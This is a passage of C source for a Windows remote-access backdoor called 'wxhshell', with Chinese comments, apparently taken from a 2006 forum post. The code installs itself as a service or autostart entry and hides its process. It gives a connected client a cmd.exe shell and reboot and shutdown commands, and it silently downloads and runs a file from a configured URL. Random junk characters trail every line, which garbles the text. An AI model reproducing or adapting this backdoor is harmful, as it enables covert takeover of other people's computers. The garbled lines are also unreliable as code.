  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^?*<.rsG  
  } ]B$J8.{q0  
  else { ).AMfBQ=;  
"Q{ l])N  
    switch(cmd[0]) { 2$v8{Y&  
  EWr7eH  
  // 帮助  0T^ 0)c  
  case '?': { 6OoOkNWF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R:j mn  
    break; _07$TC1  
  } LR';cR;  
  // 安装 p$uPj*  
  case 'i': { |(AFU3 ~  
    if(Install()) O<E8,MCA[a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %k~ezn  
    else Dt{WRe\#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X?XB!D7[  
    break; K)5j  
    } aNA ]hl  
  // 卸载 ,HI% ym  
  case 'r': { q^?a|l  
    if(Uninstall()) Qqx!'fft  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cy *.pzCi  
    else [P6m8%Y|s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kdp^{zW}  
    break; #Ge_3^'  
    } i,S1|R  
  // 显示 wxhshell 所在路径 xaVn.&Wl  
  case 'p': { r?!:%L  
    char svExeFile[MAX_PATH]; BC\W`K  
    strcpy(svExeFile,"\n\r"); -y{(h% 6  
      strcat(svExeFile,ExeFile); pb)kN%  
        send(wsh,svExeFile,strlen(svExeFile),0); gS8+S\2  
    break; ~X3x- nAt  
    } v1Q 78P  
  // 重启 w`=O '0d  
  case 'b': { r)OiiD"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -*i_8`  
    if(Boot(REBOOT)) u0A$}r$L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2dcvB]T!  
    else { 2pU'&8  
    closesocket(wsh); DR,7rT{$  
    ExitThread(0); '#h ORQB  
    } Ow.DBL)x'>  
    break; r/HTkXs I  
    } O6vxp?:^  
  // 关机 /|<S D.:  
  case 'd': { =,h'}(z_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [`s0 L#  
    if(Boot(SHUTDOWN)) L`X5\D'X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a(=lQ(v/?  
    else { @0]WMI9B"B  
    closesocket(wsh); _>rM[\|X  
    ExitThread(0); j/fniyJ)  
    } %ek0NBE7  
    break; fGqX dlP  
    } AI|+*amTd  
  // 获取shell p$qk\efv*4  
  case 's': { H%gAgXHn  
    CmdShell(wsh); m C`*#[  
    closesocket(wsh); ^+v1[U@  
    ExitThread(0); g(;OUkj$Zp  
    break; ZWo~!Z[Y  
  } Rb.vyQ  
  // 退出 6>oc,=MV/  
  case 'x': { dR;N3KwY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #o7)eKeQ  
    CloseIt(wsh); cjJfxD&q  
    break; +ima$a0Zyt  
    } *YL86R+U  
  // 离开 B+mxM/U[c  
  case 'q': { @c'iT20  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q7f`:P9~  
    closesocket(wsh); ft1#f@b.  
    WSACleanup(); "lLh#W1d  
    exit(1); 6h2keyod  
    break; V7r_Ubg@K  
        } JJ%@m;~  
  } CbC [aVA=  
  } 1[8^JVC>6  
i?;#Z Nh  
  // 提示信息 s)`(@"{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bxtH`^  
} u}|v;:|j  
  } #v<`|_  
"YY<T&n  
  return; v_Sa0}K9  
} ",D!8>=s  
<kPNe>-f  
// shell模块句柄 ZTV)D  
int CmdShell(SOCKET sock) t!*[nfR  
{ 1n[)({OQ  
STARTUPINFO si; Mms|jF oQ  
ZeroMemory(&si,sizeof(si)); vxTn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _:=\h5}8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HbI{Xf[6LP  
PROCESS_INFORMATION ProcessInfo; ,;Wm>V)o  
char cmdline[]="cmd"; `bfUP s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G<D8a2q  
  return 0; hTzj{}w  
} R[j?\#  
Z4Dx:m-  
// 自身启动模式 &K[sb%  
int StartFromService(void) *$BUow/>  
{ [n)ak)_/  
typedef struct `;+x\0@<  
{ kSzap+nB?  
  DWORD ExitStatus; GEF's#YWK  
  DWORD PebBaseAddress; j?m(l,YD|*  
  DWORD AffinityMask; yRyXlZC  
  DWORD BasePriority; vj%"x/TP  
  ULONG UniqueProcessId; #e-K It  
  ULONG InheritedFromUniqueProcessId; QK[^G6TI  
}   PROCESS_BASIC_INFORMATION; \}v@!PQl  
q i yK  
PROCNTQSIP NtQueryInformationProcess; O>qlWPht  
41<h|WA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z$R&u=J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;mQ|+|F6X  
* 3fl}l  
  HANDLE             hProcess; g:ky;-G8b  
  PROCESS_BASIC_INFORMATION pbi; -0kMh.JYR  
$<nRW*d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %W\NYSm  
  if(NULL == hInst ) return 0; hmo4H3g!N  
L%/>Le}VX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W+1nf:AI.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tjwf;g}$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); py:L-5  
cM'MgX9  
  if (!NtQueryInformationProcess) return 0; 3 0[Xkz  
oSD=3DQ;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Lw,}wM5X  
  if(!hProcess) return 0; m(U.BXo  
tj~r>SRb+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pNOE KiJ  
~6n|GxR.[  
  CloseHandle(hProcess); :38h)9>RK  
5?SE?VC=t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iKE&yO3  
if(hProcess==NULL) return 0; 2PyuM=(Wt  
4"kc(J`c  
HMODULE hMod; t2)uJN`a$X  
char procName[255]; f?tU5EX  
unsigned long cbNeeded; Rf8Obk<  
`WOoC   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f tTD-d  
DSqA}r  
  CloseHandle(hProcess); NMK$$0U  
d9:I.SA)E  
if(strstr(procName,"services")) return 1; // 以服务启动 H 4 ELIF#@  
y/Y}C.IWp)  
  return 0; // 注册表启动 " $farDDoF  
} hGY-d}npAJ  
/)J]ItJlz  
// 主模块 W7WHDL^  
int StartWxhshell(LPSTR lpCmdLine) O U7OX]h  
{ ^6kl4:{idE  
  SOCKET wsl; 4AJT)I.  
BOOL val=TRUE; %<nGm\  
  int port=0; 8iaMr278W  
  struct sockaddr_in door; &?bsBqpN  
~/K&=xE  
  if(wscfg.ws_autoins) Install(); #rX ^)2  
ai$l7]7  
port=atoi(lpCmdLine); pP":,8Q{  
^g6v#]&WA  
if(port<=0) port=wscfg.ws_port; aSIb0`(3  
`oikSx$vB.  
  WSADATA data; =t-Ud^3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !9 kNL  
|OF3O,5z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #oTVfY#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g]L8Jli  
  door.sin_family = AF_INET; ,H"}Rw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1q!k#Cliu  
  door.sin_port = htons(port); 1$03:ve1  
J' P:SC1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^2$b8]q  
closesocket(wsl); YU-wE';H6  
return 1; z_xy*Iif  
} 9_5>MmiB  
6jc5B#  
  if(listen(wsl,2) == INVALID_SOCKET) { 0Sd>*nC  
closesocket(wsl); w}l^B>Zz  
return 1; 1$E[`` n  
} /]z #V'  
  Wxhshell(wsl); ZrEou}z(*  
  WSACleanup(); 153*b^iDBh  
18%$Z$K,  
return 0; A,EG0yb  
8Gy]nD  
} 2EpQ(G J  
vzI>:Bf  
// 以NT服务方式启动 i=n;rT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) liPrxuP`  
{ L@[}sMdq(  
DWORD   status = 0; V)~b+D  
  DWORD   specificError = 0xfffffff; 3l~7  
1YMi4.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =p[Sd*d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %IVM1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xk%eU>d  
  serviceStatus.dwWin32ExitCode     = 0; vo }4N[]Sb  
  serviceStatus.dwServiceSpecificExitCode = 0; Kn$E{F\  
  serviceStatus.dwCheckPoint       = 0; <`SA >P  
  serviceStatus.dwWaitHint       = 0; 83V\O_7j  
#pAN   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }|Q\@3&  
  if (hServiceStatusHandle==0) return; kK}?NKqT  
B^TgEr  
status = GetLastError(); I/St=-;  
  if (status!=NO_ERROR) x'}z NEXI  
{ &?QKWxN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IxWi>8  
    serviceStatus.dwCheckPoint       = 0; Gq1C"s$4'  
    serviceStatus.dwWaitHint       = 0; <ndY6n3  
    serviceStatus.dwWin32ExitCode     = status; J)Yz@0#T(;  
    serviceStatus.dwServiceSpecificExitCode = specificError; uaP5(hUI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nX7F<k4G2  
    return; -2}ons(  
  } y{(Dv}   
j07A>G-=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C~>0K,C0^  
  serviceStatus.dwCheckPoint       = 0; /V+7:WDj  
  serviceStatus.dwWaitHint       = 0; k}g4?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qmn l  
} 8SroA$^n  
"kcix!}&  
// 处理NT服务事件,比如:启动、停止 $ZyOBxI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]Gm4gd`  
{ <^> nR3E  
switch(fdwControl) =jm\8sl~~  
{ 9wfE^E1  
case SERVICE_CONTROL_STOP: gAEB  
  serviceStatus.dwWin32ExitCode = 0; w$&;s<0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .u&X:jOE  
  serviceStatus.dwCheckPoint   = 0; =[aiW|Y  
  serviceStatus.dwWaitHint     = 0; v\9f 8|K  
  { `Zmdlp@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); au=@]n#<(  
  } W^HE1Dt]  
  return; a|y'-r90  
case SERVICE_CONTROL_PAUSE: #G(ivRo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E Y !o#m  
  break; u"7!EhX&  
case SERVICE_CONTROL_CONTINUE: L^C B#5uG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5>S1lyam  
  break; ^ux'-/  
case SERVICE_CONTROL_INTERROGATE: ?vWF[ DRd'  
  break; _ j'm2BA O  
}; "u sPzp5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >f&L7@  
} ;=P!fvHk  
w ?"M  
// 标准应用程序主函数 (O!CH N!:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &%(Dd  
{ `N}V i6FG  
QaE!?R  
// 获取操作系统版本 (8ct'Q;  
OsIsNt=GetOsVer(); )J yB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LrdED[Z  
@6!Myez'  
  // 从命令行安装 ryz NM3  
  if(strpbrk(lpCmdLine,"iI")) Install(); |DsT $ ~D  
Dh}d-m_5  
  // 下载执行文件  Uv<nJM  
if(wscfg.ws_downexe) { _@)-#7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^u90N>Dvq  
  WinExec(wscfg.ws_filenam,SW_HIDE); q3v5gz^t  
} `DGI|3  
k`'*niz  
if(!OsIsNt) { Ke#Rkt  
// 如果时win9x,隐藏进程并且设置为注册表启动 C %j%>X`  
HideProc(); g 6?y{(1  
StartWxhshell(lpCmdLine); fWIWRsy%  
} lOb(XH9  
else X<W${L$G  
  if(StartFromService()) b ~]v'|5[  
  // 以服务方式启动 V4Qy^nn1  
  StartServiceCtrlDispatcher(DispatchTable); PD^ 6Ywn>s  
else /={N^8^=x  
  // 普通方式启动 u^'X>n)oL#  
  StartWxhshell(lpCmdLine); +o,f:Ih  
%)d7iT~M  
return 0; `25<;@  
}
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只看该作者 1 发表于: 2006-10-10
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